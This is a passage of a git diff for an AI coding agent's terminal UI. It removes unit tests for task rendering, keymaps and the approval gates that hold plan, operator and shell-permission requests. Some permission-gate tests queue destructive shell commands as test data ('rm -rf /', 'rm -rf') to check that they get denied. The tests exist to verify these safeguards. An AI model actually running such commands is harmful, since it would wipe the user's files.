3); - expect(maxOffset).toBe(0); - expect(start).toBe(0); - }); -}); diff --git a/tests/unit/tui/task-view.test.tsx b/tests/unit/tui/task-view.test.tsx deleted file mode 100644 index 0afa14f52..000000000 --- a/tests/unit/tui/task-view.test.tsx +++ /dev/null @@ -1,83 +0,0 @@ -import { describe, expect, test } from "bun:test"; -import { Box } from "ink"; -import { render } from "ink-testing-library"; - -import { TaskView } from "../../../src/tui/components/task-view.js"; -import type { Task } from "../../../src/agent/tasks.js"; - -const tasks: Task[] = [ - { id: "doing", title: "Active task", status: "doing" }, - { id: "todo", title: "Inactive task", status: "todo" }, - { id: "done", title: "Completed task", status: "done" }, - { id: "cancelled", title: "Cancelled task", status: "cancelled" }, -]; - -describe("TaskView", () => { - test("renders circular task glyphs plus terminal check and cross states", () => { - const { lastFrame } = render(); - - expect(lastFrame()).toContain("● Active task"); - expect(lastFrame()).toContain("○ Inactive task"); - expect(lastFrame()).toContain("✓ Completed task"); - expect(lastFrame()).toContain("✗ Cancelled task"); - }); - - test("compact mode ignores terminal tasks", () => { - const terminalTasks = tasks.filter((task) => task.status !== "doing" && task.status !== "todo"); - const { lastFrame } = render(); - - expect(lastFrame()).toBe(""); - }); - - test("removes the whole block when every task is terminal, in both views", () => { - const terminalTasks: Task[] = [ - { id: "done", title: "Completed task", status: "done" }, - { id: "cancelled", title: "Cancelled task", status: "cancelled" }, - ]; - - expect(render().lastFrame()).toBe(""); - expect(render().lastFrame()).toBe(""); - }); - - test("heading keeps a space between title and progress (no Work03/11 collision)", () => { - const many: Task[] = Array.from({ length: 11 }, (_, i) => ({ - id: `t${i}`, - title: i === 0 ? "Code for example long step title that should not collide" : `Step ${i}`, - // 0 doing, 1–3 done (3 done), rest todo - status: (i === 0 ? "doing" : i <= 3 ? "done" : "todo") as Task["status"], - })); - const frame = render().lastFrame() ?? ""; - - expect(frame).toContain("Work 3/11"); - expect(frame).not.toMatch(/Work3\/11/); - expect(frame).not.toMatch(/Work03\/11/); - // Active step stays on its own line after the heading, glyph preserved. - expect(frame).toMatch(/Work 3\/11[\s\S]*● Code for example/); - }); - - test("long step titles truncate within a narrow container without eating the glyph", () => { - const long: Task[] = [ - { - id: "doing", - title: "Implement the entire goal mode layout overflow fix with exhaustive edge cases", - status: "doing", - }, - { id: "todo", title: "Next", status: "todo" }, - ]; - const frame = - render( - - - , - ).lastFrame() ?? ""; - - expect(frame).toContain("Work 0/2"); - expect(frame).toContain("●"); - // Title is truncated; full string should not appear intact on a 36-col row - // after padding + glyph + gap. - const lines = frame.split("\n"); - const activeLine = lines.find((l) => l.includes("●")) ?? ""; - expect(activeLine.length).toBeLessThanOrEqual(36); - expect(activeLine.startsWith("●") || activeLine.includes("● ")).toBe(true); - }); -}); diff --git a/tests/unit/tui/theme.test.ts b/tests/unit/tui/theme.test.ts index 7798ffa86..a6c49339f 100644 --- a/tests/unit/tui/theme.test.ts +++ b/tests/unit/tui/theme.test.ts @@ -1,8 +1,17 @@ -import { test, expect, afterEach } from "bun:test"; +import { test, expect, afterEach, beforeEach } from "bun:test"; import { color, color256, palette, supportsTrueColor } from "../../../src/tui/theme.js"; const originalColorterm = process.env.COLORTERM; +// `color()` answers hex only on a truecolor terminal and ANSI-256 otherwise, so +// every hex assertion below is really an assertion about the environment it +// runs in. A developer's terminal sets COLORTERM and a CI runner does not, which +// is why these passed locally and failed in CI. State the terminal rather than +// inherit it; the two tests that exercise detection set it themselves. +beforeEach(() => { + process.env.COLORTERM = "truecolor"; +}); + afterEach(() => { if (originalColorterm === undefined) { delete process.env.COLORTERM; diff --git a/tests/unit/tui/use-gates.test.tsx b/tests/unit/tui/use-gates.test.tsx deleted file mode 100644 index fa1a0c607..000000000 --- a/tests/unit/tui/use-gates.test.tsx +++ /dev/null @@ -1,643 +0,0 @@ -import { test, expect } from "bun:test"; -import { render } from "ink-testing-library"; -import { Text } from "ink"; -import { useInput } from "ink"; -import { EventEmitter } from "node:events"; -import type { ReactNode } from "react"; -import { - useGates, - type GateController, - type OperatorGateEvent, - type PlanGateEvent, -} from "../../../src/tui/hooks/use-gates.js"; - -type HarnessProps = { - emitter: EventEmitter; - onGate: (pending: boolean) => void; - onReset?: (resetFn: () => void) => void; - onController?: (controller: GateController) => void; - activationBlocked?: boolean; -}; - -function Harness({ emitter, onGate, onReset, onController, activationBlocked }: HarnessProps): ReactNode { - const gates = useGates({ - eventEmitter: emitter, - setGatePending: onGate, - ...(activationBlocked !== undefined ? { activationBlocked } : {}), - }); - onController?.(gates); - useInput((input) => { - const active = gates.activeApproval; - if (input === "a" && active?.kind === "plan") gates.approve(active.id); - if (input === "r" && active?.kind === "plan") gates.reject(active.id); - if (input === "0" && active?.kind === "operator") { - gates.selectOperator(active.id, { kind: "option", index: 0 }); - } - if (input === "p" && active?.kind === "permission") { - gates.resolvePermission(active.id, { allow: true }); - } - if (input === "x") gates.resetGates(); - }); - onReset?.(gates.resetGates); - const active = gates.activeApproval; - const plan = active?.kind === "plan" ? `plan:${active.plan.length}` : "none"; - const op = active?.kind === "operator" ? `op:${active.question}` : "none"; - const perm = active?.kind === "permission" ? `perm:${active.request.subject}` : "none"; - return {`${plan} ${op} ${perm} open=${gates.gateOpen ? "1" : "0"}`}; -} - -const tick = () => new Promise((resolve) => setTimeout(resolve, 20)); - -test("the plan gate surfaces for approval and resolves on approve", async () => { - const emitter = new EventEmitter(); - let resolved: boolean | null = null; - const gateCalls: boolean[] = []; - const { lastFrame, stdin } = render( - gateCalls.push(p)} />, - ); - await tick(); - - const event: PlanGateEvent = { plan: [{ file: "a.ts", action: "x" }], resolve: (v) => { resolved = v; } }; - emitter.emit("plan.gate", event); - await tick(); - expect(lastFrame()).toContain("plan:1"); - expect(lastFrame()).toContain("open=1"); - expect(gateCalls).toEqual([true]); - - stdin.write("a"); - await tick(); - expect(resolved).toBe(true); - expect(lastFrame()).toContain("none none none open=0"); - expect(gateCalls).toEqual([true, false]); -}); - -test("the plan gate resolves false on reject", async () => { - const emitter = new EventEmitter(); - let resolved: boolean | null = null; - const { stdin } = render( {}} />); - await tick(); - emitter.emit("plan.gate", { plan: [], resolve: (v: boolean) => { resolved = v; } } satisfies PlanGateEvent); - await tick(); - stdin.write("r"); - await tick(); - expect(resolved).toBe(false); -}); - -test("operator gate surfaces and resolves the selected index", async () => { - const emitter = new EventEmitter(); - let chosen: number | null = null; - const { lastFrame, stdin } = render( {}} />); - await tick(); - - const event: OperatorGateEvent = { - question: "pick", - options: ["one", "two"], - resolve: (result) => { chosen = result.kind === "option" ? result.index : -1; }, - }; - emitter.emit("operator.gate", event); - await tick(); - expect(lastFrame()).toContain("op:pick"); - expect(lastFrame()).toContain("open=1"); - - stdin.write("0"); - await tick(); - expect(chosen).toBe(0); - expect(lastFrame()).toContain("none none none open=0"); -}); - -test("queued approvals wait for an existing modal before activation", async () => { - const emitter = new EventEmitter(); - const gateCalls: boolean[] = []; - let resolved = false; - const props = { emitter, onGate: (pending: boolean) => gateCalls.push(pending) }; - const { lastFrame, rerender, stdin } = render( - , - ); - await tick(); - - emitter.emit("operator.gate", { - question: "continue?", - options: ["yes"], - resolve: () => { resolved = true; }, - } satisfies OperatorGateEvent); - await tick(); - - expect(gateCalls).toEqual([true]); - expect(lastFrame()).toContain("none none none open=0"); - - rerender(); - await tick(); - expect(lastFrame()).toContain("none op:continue? none open=1"); - - stdin.write("0"); - await tick(); - expect(resolved).toBe(true); - expect(gateCalls).toEqual([true, false]); -}); - -test("blocked permission timeout starts only after activation", async () => { - const emitter = new EventEmitter(); - let outcome: { allow: boolean; message?: string } | null = null; - const { lastFrame, rerender } = render( - {}} activationBlocked />, - ); - await tick(); - - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "queued", scopes: [] }, - resolve: (next: { allow: boolean; message?: string }) => { outcome = next; }, - timeoutMs: 40, - timeoutMessage: "timed out", - }); - await new Promise((resolve) => setTimeout(resolve, 80)); - - expect(outcome).toBeNull(); - expect(lastFrame()).toContain("none none none open=0"); - - rerender( {}} activationBlocked={false} />); - await tick(); - expect(lastFrame()).toContain("perm:queued"); - expect(outcome).toBeNull(); - - await new Promise((resolve) => setTimeout(resolve, 60)); - expect(outcome).toEqual({ allow: false, message: "timed out" }); -}); - -test("mixed gate types are exposed one at a time in global FIFO order", async () => { - const emitter = new EventEmitter(); - const gateCalls: boolean[] = []; - let planResolved = false; - let operatorResolved = false; - const { lastFrame, stdin } = render( gateCalls.push(p)} />); - await tick(); - - emitter.emit("plan.gate", { - plan: [{ file: "a.ts", action: "x" }], - resolve: () => { planResolved = true; }, - } satisfies PlanGateEvent); - emitter.emit("operator.gate", { - question: "pick", - options: ["yes"], - resolve: () => { operatorResolved = true; }, - } satisfies OperatorGateEvent); - await tick(); - - expect(gateCalls).toEqual([true, true]); - expect(lastFrame()).toContain("plan:1 none none open=1"); - - stdin.write("a"); - await tick(); - expect(planResolved).toBe(true); - expect(operatorResolved).toBe(false); - expect(lastFrame()).toContain("none op:pick none open=1"); - expect(gateCalls).toEqual([true, true, false]); -}); - -// Two plan gates opened before the first resolves — the second must not -// overwrite the first. Both resolve callbacks must fire with the correct -// values and in FIFO order. -test("Q1: two same-type (plan) gates queued — both resolve in order without dropping", async () => { - const emitter = new EventEmitter(); - const gateCalls: boolean[] = []; - let resolved1: boolean | null = null; - let resolved2: boolean | null = null; - const { lastFrame, stdin } = render( - gateCalls.push(p)} />, - ); - await tick(); - - emitter.emit("plan.gate", { - plan: [{ file: "a.ts", action: "x" }], - resolve: (v: boolean) => { resolved1 = v; }, - } satisfies PlanGateEvent); - await tick(); - - // Second gate arrives while first is still pending. - emitter.emit("plan.gate", { - plan: [{ file: "b.ts", action: "y" }], - resolve: (v: boolean) => { resolved2 = v; }, - } satisfies PlanGateEvent); - await tick(); - - // Each enqueue fires setGatePending(true). - expect(gateCalls).toEqual([true, true]); - // Head of queue (first gate) is still showing. - expect(lastFrame()).toContain("plan:1"); - - // Resolve first gate — head advances to second gate. - stdin.write("a"); - await tick(); - expect(resolved1).toBe(true); - expect(resolved2).toBeNull(); // second not yet resolved - expect(gateCalls).toEqual([true, true, false]); - // Second gate is now the head. - expect(lastFrame()).toContain("plan:1"); - expect(lastFrame()).toContain("open=1"); - - // Resolve second gate. - stdin.write("r"); - await tick(); - expect(resolved2).toBe(false); - expect(gateCalls).toEqual([true, true, false, false]); - expect(lastFrame()).toContain("none none none open=0"); -}); - -// setGatePending refcount discipline: two gates enqueued, one resolved → -// net balance is +1 (still pending from use-stream.ts perspective). -test("Q2: setGatePending sequence for two-open-one-resolved is true,true,false", async () => { - const emitter = new EventEmitter(); - const gateCalls: boolean[] = []; - const { stdin } = render( - gateCalls.push(p)} />, - ); - await tick(); - - emitter.emit("plan.gate", { - plan: [], - resolve: () => {}, - } satisfies PlanGateEvent); - await tick(); - - emitter.emit("plan.gate", { - plan: [], - resolve: () => {}, - } satisfies PlanGateEvent); - await tick(); - - expect(gateCalls).toEqual([true, true]); - - // Resolve the first (head) — one false, but one still in queue. - stdin.write("a"); - await tick(); - expect(gateCalls).toEqual([true, true, false]); -}); - -test("permission gate surfaces a request and resolves the outcome", async () => { - const emitter = new EventEmitter(); - let outcome: { allow: boolean } | null = null; - const { lastFrame, stdin } = render( {}} />); - await tick(); - - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run shell command", subject: "npm test", scopes: [] }, - resolve: (o: { allow: boolean }) => { outcome = o; }, - }); - await tick(); - expect(lastFrame()).toContain("perm:npm test"); - expect(lastFrame()).toContain("open=1"); - - stdin.write("p"); - await tick(); - expect(outcome).toEqual({ allow: true }); - expect(lastFrame()).toContain("none none none open=0"); -}); - -test("permission gate auto-denies when the tool budget signal aborts", async () => { - const emitter = new EventEmitter(); - let outcome: { allow: boolean; message?: string } | null = null; - const budget = new AbortController(); - const { lastFrame } = render( {}} />); - await tick(); - - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run shell command", subject: "bun install", scopes: [] }, - resolve: (o: { allow: boolean; message?: string }) => { - outcome = o; - }, - signal: budget.signal, - }); - await tick(); - expect(lastFrame()).toContain("perm:bun install"); - expect(lastFrame()).toContain("open=1"); - - budget.abort(); - await tick(); - expect(outcome).toMatchObject({ allow: false }); - expect(outcome?.message).toContain("timed out"); - expect(lastFrame()).toContain("none none none open=0"); -}); - -test("budget abort dismisses a non-head permission still in the queue", async () => { - const emitter = new EventEmitter(); - let headOutcome: { allow: boolean } | null = null; - let queuedOutcome: { allow: boolean; message?: string } | null = null; - const gateCalls: boolean[] = []; - const budget = new AbortController(); - const { lastFrame, stdin } = render( - gateCalls.push(p)} />, - ); - await tick(); - - emitter.emit("permission.gate", { - request: { tool: "write_file", action: "Write file", subject: "a.ts", scopes: [] }, - resolve: (o: { allow: boolean }) => { - headOutcome = o; - }, - }); - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run shell command", subject: "rm -rf /", scopes: [] }, - resolve: (o: { allow: boolean; message?: string }) => { - queuedOutcome = o; - }, - signal: budget.signal, - }); - await tick(); - expect(lastFrame()).toContain("perm:a.ts"); - - budget.abort(); - await tick(); - expect(queuedOutcome).toMatchObject({ allow: false }); - expect(headOutcome).toBeNull(); - // Head is still the first permission. - expect(lastFrame()).toContain("perm:a.ts"); - // setGatePending is a refcount upstream (use-stream gateCount): the non-head - // removal must emit exactly one balancing false for its own enqueue, leaving - // the visible head's count intact so the run stays "blocked". - expect(gateCalls).toEqual([true, true, false]); - - stdin.write("p"); - await tick(); - expect(headOutcome).toEqual({ allow: true }); - expect(lastFrame()).toContain("none none none open=0"); - expect(gateCalls).toEqual([true, true, false, false]); -}); - -// resetGates drains all queues, resolves each with safe defaults, and clears -// visible state — simulating a /clear rotation that fires while gates are open. -test("resetGates resolves all pending gates and clears visible state", async () => { - const emitter = new EventEmitter(); - const gateCalls: boolean[] = []; - let planResolved: boolean | null = null; - let opResolved: string | null = null; - let permResolved: { allow: boolean } | null = null; - - const { lastFrame, stdin } = render( - gateCalls.push(p)} />, - ); - await tick(); - - // Open one of each gate type. - emitter.emit("plan.gate", { - plan: [{ file: "a.ts", action: "write" }], - resolve: (v: boolean) => { planResolved = v; }, - } satisfies PlanGateEvent); - - emitter.emit("operator.gate", { - question: "continue?", - options: ["yes"], - resolve: (result) => { opResolved = result.kind; }, - } satisfies OperatorGateEvent); - - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run shell command", subject: "rm -rf", scopes: [] }, - resolve: (o: { allow: boolean }) => { permResolved = o; }, - }); - await tick(); - - expect(lastFrame()).toContain("open=1"); - - // Trigger reset via keystroke. - stdin.write("x"); - await tick(); - - // All gates resolved with safe defaults. - expect(planResolved).toBe(false); - expect(opResolved).toBe("cancel"); - expect(permResolved).toEqual({ allow: false }); - - // UI reflects cleared state. - expect(lastFrame()).toContain("none none none open=0"); - // Each enqueued gate must balance its setGatePending(true) on reset. - expect(gateCalls).toEqual([true, true, true, false, false, false]); -}); - -test("resetGates balances refcount when multiple permission gates are queued", async () => { - const emitter = new EventEmitter(); - const gateCalls: boolean[] = []; - const { stdin } = render( gateCalls.push(p)} />); - await tick(); - - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "a", scopes: [] }, - resolve: () => {}, - }); - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "b", scopes: [] }, - resolve: () => {}, - }); - await tick(); - - expect(gateCalls).toEqual([true, true]); - - stdin.write("x"); - await tick(); - - expect(gateCalls).toEqual([true, true, false, false]); -}); - -test("goal-mode permission timeout auto-denies with a message for the agent", async () => { - const emitter = new EventEmitter(); - let outcome: { allow: boolean; message?: string } | null = null; - const { lastFrame } = render( {}} />); - await tick(); - - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "bun install", scopes: [] }, - resolve: (o: { allow: boolean; message?: string }) => { - outcome = o; - }, - timeoutMs: 40, - timeoutMessage: "Goal mode: skipped (test)", - }); - await tick(); - expect(lastFrame()).toContain("perm:bun install"); - expect(outcome).toBeNull(); - - await new Promise((r) => setTimeout(r, 80)); - expect(outcome).toEqual({ allow: false, message: "Goal mode: skipped (test)" }); - expect(lastFrame()).toContain("none none none open=0"); -}); - -test("operator answer before goal timeout cancels the timer", async () => { - const emitter = new EventEmitter(); - let outcome: { allow: boolean } | null = null; - const { stdin, lastFrame } = render( {}} />); - await tick(); - - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "ls", scopes: [] }, - resolve: (o: { allow: boolean }) => { - outcome = o; - }, - timeoutMs: 200, - timeoutMessage: "should not fire", - }); - await tick(); - stdin.write("p"); - await tick(); - expect(outcome).toEqual({ allow: true }); - expect(lastFrame()).toContain("open=0"); - - // Wait past the original timeout — must not double-resolve or flip outcome. - await new Promise((r) => setTimeout(r, 250)); - expect(outcome).toEqual({ allow: true }); -}); - -test("queued permission timeout starts only when the request becomes visible head", async () => { - const emitter = new EventEmitter(); - let first: { allow: boolean; message?: string } | null = null; - let second: { allow: boolean; message?: string } | null = null; - const { stdin, lastFrame } = render( {}} />); - await tick(); - - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "first", scopes: [] }, - resolve: (o: { allow: boolean; message?: string }) => { - first = o; - }, - timeoutMs: 500, - timeoutMessage: "first timed out", - }); - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "second", scopes: [] }, - resolve: (o: { allow: boolean; message?: string }) => { - second = o; - }, - timeoutMs: 80, - timeoutMessage: "second timed out", - }); - await tick(); - expect(lastFrame()).toContain("perm:first"); - expect(first).toBeNull(); - expect(second).toBeNull(); - - // Hold the first modal longer than the second entry's timeout budget. The - // second must not auto-deny while still queued (timer arms only when head). - await new Promise((r) => setTimeout(r, 120)); - expect(first).toBeNull(); - expect(second).toBeNull(); - expect(lastFrame()).toContain("perm:first"); - - // Approve first — second becomes head and only then starts its 80ms clock. - stdin.write("p"); - await tick(); - expect(first).toEqual({ allow: true }); - expect(second).toBeNull(); - expect(lastFrame()).toContain("perm:second"); - - await new Promise((r) => setTimeout(r, 40)); - expect(second).toBeNull(); - - await new Promise((r) => setTimeout(r, 80)); - expect(second).toEqual({ allow: false, message: "second timed out" }); - expect(lastFrame()).toContain("none none none open=0"); -}); - -test("a stale or mismatched resolver cannot consume the active gate", async () => { - const emitter = new EventEmitter(); - let controller: GateController | null = null; - let planResolved = false; - let operatorResolved = false; - const { lastFrame } = render( - {}} - onController={(next) => { controller = next; }} - />, - ); - await tick(); - - emitter.emit("plan.gate", { - plan: [{ file: "a.ts", action: "write" }], - resolve: () => { planResolved = true; }, - } satisfies PlanGateEvent); - emitter.emit("operator.gate", { - question: "continue?", - options: ["yes"], - resolve: () => { operatorResolved = true; }, - } satisfies OperatorGateEvent); - await tick(); - - if (controller === null || controller.activeApproval?.kind !== "plan") { - throw new Error("Expected an active plan approval"); - } - controller.selectOperator(controller.activeApproval.id, { kind: "option", index: 0 }); - await tick(); - - expect(planResolved).toBe(false); - expect(operatorResolved).toBe(false); - expect(lastFrame()).toContain("plan:1 none none open=1"); -}); - -test("unmount safely settles mixed gates and clears queued timeouts", async () => { - const emitter = new EventEmitter(); - const gateCalls: boolean[] = []; - let planResult: boolean | null = null; - let operatorResult: string | null = null; - let permissionResult: { allow: boolean; message?: string } | null = null; - const { unmount } = render( - gateCalls.push(pending)} />, - ); - await tick(); - - emitter.emit("plan.gate", { - plan: [], - resolve: (approved: boolean) => { planResult = approved; }, - } satisfies PlanGateEvent); - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "queued", scopes: [] }, - resolve: (outcome: { allow: boolean; message?: string }) => { permissionResult = outcome; }, - timeoutMs: 40, - timeoutMessage: "must not fire", - }); - emitter.emit("operator.gate", { - question: "continue?", - options: ["yes"], - resolve: (result) => { operatorResult = result.kind; }, - } satisfies OperatorGateEvent); - await tick(); - - unmount(); - await new Promise((resolve) => setTimeout(resolve, 80)); - - expect(planResult).toBe(false); - expect(operatorResult).toBe("cancel"); - expect(permissionResult).toEqual({ allow: false }); - expect(gateCalls).toEqual([true, true, true, false, false, false]); - expect(emitter.listenerCount("plan.gate")).toBe(0); - expect(emitter.listenerCount("operator.gate")).toBe(0); - expect(emitter.listenerCount("permission.gate")).toBe(0); -}); - -test("reset clears the old queue before a resolver enqueues another gate", async () => { - const emitter = new EventEmitter(); - const gateCalls: boolean[] = []; - let operatorResolved = false; - const { lastFrame, stdin } = render( - gateCalls.push(pending)} />, - ); - await tick(); - - emitter.emit("plan.gate", { - plan: [], - resolve: () => { - emitter.emit("operator.gate", { - question: "new gate", - options: ["continue"], - resolve: () => { operatorResolved = true; }, - } satisfies OperatorGateEvent); - }, - } satisfies PlanGateEvent); - emitter.emit("permission.gate", { - request: { tool: "run_shell", action: "Run", subject: "old gate", scopes: [] }, - resolve: () => {}, - }); - await tick(); - - stdin.write("x"); - await tick(); - - expect(operatorResolved).toBe(false); - expect(lastFrame()).toContain("none op:new gate none open=1"); - expect(gateCalls).toEqual([true, true, false, true, false]); -}); \ No newline at end of file diff --git a/tests/unit/tui/use-keymap.test.tsx b/tests/unit/tui/use-keymap.test.tsx deleted file mode 100644 index bddc0c904..000000000 --- a/tests/unit/tui/use-keymap.test.tsx +++ /dev/null @@ -1,293 +0,0 @@ -import { test, expect, mock } from "bun:test"; -import type { Key } from "ink"; -import { handleKey, type KeymapContext, type KeymapActions } from "../../../src/tui/hooks/use-keymap.js"; - -// Default Key — all false, as ink would emit for a plain character. -const NO_KEY: Key = { - upArrow: false, - downArrow: false, - leftArrow: false, - rightArrow: false, - pageDown: false, - pageUp: false, - return: false, - escape: false, - ctrl: false, - shift: false, - tab: false, - backspace: false, - delete: false, - meta: false, - home: false, - end: false, - insert: false, - f1: false, f2: false, f3: false, f4: false, - f5: false, f6: false, f7: false, f8: false, - f9: false, f10: false, f11: false, f12: false, -}; - -const CTRL: Key = { ...NO_KEY, ctrl: true }; -const ESC_KEY: Key = { ...NO_KEY, escape: true }; -const UP_KEY: Key = { ...NO_KEY, upArrow: true }; -const DOWN_KEY: Key = { ...NO_KEY, downArrow: true }; - -const DEFAULT_CTX: KeymapContext = { - exitConfirmOpen: false, - helpOpen: false, - gateOpen: false, - agentModalOpen: false, - hookPanelOpen: false, - taskFullScreenOpen: false, - hasInput: false, - inputFocused: false, - isRunning: false, - commandPaletteOpen: false, - copyModeOpen: false, -}; - -const NOW = 1000; - -function makeActions(): KeymapActions { - return { - clearInput: mock(() => {}), - requestExit: mock(() => {}), - requestStop: mock(() => {}), - toggleHookPanel: mock(() => {}), - selectHook: mock((_: number) => {}), - closeHookPanel: mock(() => {}), - scrollUp: mock(() => {}), - scrollDown: mock(() => {}), - scrollToBottom: mock(() => {}), - toggleTaskPanel: mock(() => {}), - toggleThinking: mock(() => {}), - toggleLastTool: mock(() => {}), - toggleVerbose: mock(() => {}), - toggleTaskSidebar: mock(() => {}), - toggleHelp: mock(() => {}), - copyMcpUrl: mock(() => {}), - enterCopyMode: mock(() => {}), - copyModeNext: mock(() => {}), - copyModePrev: mock(() => {}), - copyModeConfirm: mock(() => {}), - copyModeCopyAll: mock(() => {}), - copyModeCancel: mock(() => {}), - cycleMode: mock(() => {}), - }; -} - -function dispatch( - input: string, - key: Key, - ctx: Partial = {}, - lastEscMs = 0, - now = NOW, -): { actions: KeymapActions; returned: number } { - const actions = makeActions(); - const returned = handleKey(input, key, { ...DEFAULT_CTX, ...ctx }, actions, lastEscMs, now); - return { actions, returned }; -} - -// --- Blocking conditions --- - -test("exitConfirmOpen blocks all actions", () => { - const { actions } = dispatch("c", CTRL, { exitConfirmOpen: true }); - expect(actions.requestExit).not.toHaveBeenCalled(); -}); - -test("helpOpen blocks all actions", () => { - const { actions } = dispatch("c", CTRL, { helpOpen: true }); - expect(actions.requestExit).not.toHaveBeenCalled(); -}); - -test("gateOpen blocks all actions", () => { - const { actions } = dispatch("c", CTRL, { gateOpen: true }); - expect(actions.requestExit).not.toHaveBeenCalled(); -}); - -test("agentModalOpen blocks all actions", () => { - const { actions } = dispatch("c", CTRL, { agentModalOpen: true }); - expect(actions.requestExit).not.toHaveBeenCalled(); -}); - -// --- Ctrl+C --- - -test("Ctrl+C with hasInput calls clearInput", () => { - const { actions } = dispatch("c", CTRL, { hasInput: true }); - expect(actions.clearInput).toHaveBeenCalledTimes(1); - expect(actions.requestExit).not.toHaveBeenCalled(); - expect(actions.requestStop).not.toHaveBeenCalled(); -}); - -test("Ctrl+C with isRunning calls requestStop", () => { - const { actions } = dispatch("c", CTRL, { isRunning: true }); - expect(actions.requestStop).toHaveBeenCalledTimes(1); - expect(actions.requestExit).not.toHaveBeenCalled(); -}); - -test("Ctrl+C idle calls requestExit", () => { - const { actions } = dispatch("c", CTRL); - expect(actions.requestExit).toHaveBeenCalledTimes(1); -}); - -// --- Ctrl+H --- - -test("Ctrl+H calls toggleHookPanel", () => { - const { actions } = dispatch("h", CTRL); - expect(actions.toggleHookPanel).toHaveBeenCalledTimes(1); -}); - -// --- Number keys while hookPanelOpen --- - -test("key '1' while hookPanelOpen calls selectHook(0)", () => { - const { actions } = dispatch("1", NO_KEY, { hookPanelOpen: true }); - expect(actions.selectHook).toHaveBeenCalledWith(0); -}); - -test("key '9' while hookPanelOpen calls selectHook(8)", () => { - const { actions } = dispatch("9", NO_KEY, { hookPanelOpen: true }); - expect(actions.selectHook).toHaveBeenCalledWith(8); -}); - -test("number key ignored when hookPanelOpen is false", () => { - const { actions } = dispatch("3", NO_KEY, { hookPanelOpen: false }); - expect(actions.selectHook).not.toHaveBeenCalled(); -}); - -// --- Escape — fullscreen and panel --- - -test("Escape while taskFullScreenOpen calls toggleTaskSidebar and resets lastEsc", () => { - const { actions, returned } = dispatch("", ESC_KEY, { taskFullScreenOpen: true }); - expect(actions.toggleTaskSidebar).toHaveBeenCalledTimes(1); - expect(returned).toBe(0); -}); - -test("Escape while hookPanelOpen calls closeHookPanel", () => { - const { actions } = dispatch("", ESC_KEY, { hookPanelOpen: true }); - expect(actions.closeHookPanel).toHaveBeenCalledTimes(1); -}); - -// --- Double-ESC (using injected timestamps) --- - -test("double-ESC within 500ms with hasInput calls clearInput", () => { - // First ESC at t=1000, second at t=1400 (400ms later — within window) - const { returned: lastEsc } = dispatch("", ESC_KEY, { hasInput: true }, 0, 1000); - expect(lastEsc).toBe(1000); - const { actions } = dispatch("", ESC_KEY, { hasInput: true }, lastEsc, 1400); - expect(actions.clearInput).toHaveBeenCalledTimes(1); -}); - -test("double-ESC within 500ms with isRunning calls requestStop", () => { - const { returned: lastEsc } = dispatch("", ESC_KEY, { isRunning: true }, 0, 1000); - const { actions } = dispatch("", ESC_KEY, { isRunning: true }, lastEsc, 1300); - expect(actions.requestStop).toHaveBeenCalledTimes(1); -}); - -test("ESC then >500ms gap: second ESC does NOT trigger double-ESC", () => { - const { returned: lastEsc } = dispatch("", ESC_KEY, { hasInput: true }, 0, 1000); - // Second ESC at t=1600 — 600ms later, outside window - const { actions } = dispatch("", ESC_KEY, { hasInput: true }, lastEsc, 1600); - expect(actions.clearInput).not.toHaveBeenCalled(); -}); - -// --- Arrow keys --- - -test("up arrow does not scroll the log when input is focused", () => { - const { actions } = dispatch("", UP_KEY, { inputFocused: true }); - expect(actions.scrollUp).not.toHaveBeenCalled(); -}); - -test("down arrow does not scroll the log when input is focused", () => { - const { actions } = dispatch("", DOWN_KEY, { inputFocused: true }); - expect(actions.scrollDown).not.toHaveBeenCalled(); -}); - -test("up arrow does not scroll when input is unfocused either (arrows belong to prompt)", () => { - const { actions } = dispatch("", UP_KEY, { inputFocused: false }); - expect(actions.scrollUp).not.toHaveBeenCalled(); -}); - -test("down arrow does not scroll when input is unfocused", () => { - const { actions } = dispatch("", DOWN_KEY, { inputFocused: false }); - expect(actions.scrollDown).not.toHaveBeenCalled(); -}); - -test("Ctrl+Down jumps to the bottom when input is focused", () => { - const { actions } = dispatch("", { ...NO_KEY, ctrl: true, downArrow: true }, { inputFocused: true }); - expect(actions.scrollToBottom).toHaveBeenCalledTimes(1); - expect(actions.scrollDown).not.toHaveBeenCalled(); -}); - -test("Ctrl+Down jumps to the bottom when input is unfocused", () => { - const { actions } = dispatch("", { ...NO_KEY, ctrl: true, downArrow: true }, { inputFocused: false }); - expect(actions.scrollToBottom).toHaveBeenCalledTimes(1); - expect(actions.scrollDown).not.toHaveBeenCalled(); -}); - -test("PageUp scrolls up while input is focused", () => { - const { actions } = dispatch("", { ...NO_KEY, pageUp: true }, { inputFocused: true }); - expect(actions.scrollUp).toHaveBeenCalledTimes(1); -}); - -test("PageDown scrolls down while input is focused", () => { - const { actions } = dispatch("", { ...NO_KEY, pageDown: true }, { inputFocused: true }); - expect(actions.scrollDown).toHaveBeenCalledTimes(1); -}); - -test("PageUp scrolls up while input is unfocused", () => { - const { actions } = dispatch("", { ...NO_KEY, pageUp: true }, { inputFocused: false }); - expect(actions.scrollUp).toHaveBeenCalledTimes(1); -}); - -test("Ctrl+Up scrolls up while input is focused", () => { - const { actions } = dispatch("", { ...NO_KEY, ctrl: true, upArrow: true }, { inputFocused: true }); - expect(actions.scrollUp).toHaveBeenCalledTimes(1); -}); - -test("plain Up does not scroll when input is focused", () => { - const { actions } = dispatch("", UP_KEY, { inputFocused: true }); - expect(actions.scrollUp).not.toHaveBeenCalled(); -}); - -test("plain Down does not scroll when input is focused", () => { - const { actions } = dispatch("", DOWN_KEY, { inputFocused: true }); - expect(actions.scrollDown).not.toHaveBeenCalled(); -}); - -test("arrows do not scroll while the command palette is open", () => { - const up = dispatch("", UP_KEY, { commandPaletteOpen: true }); - expect(up.actions.scrollUp).not.toHaveBeenCalled(); - const down = dispatch("", DOWN_KEY, { 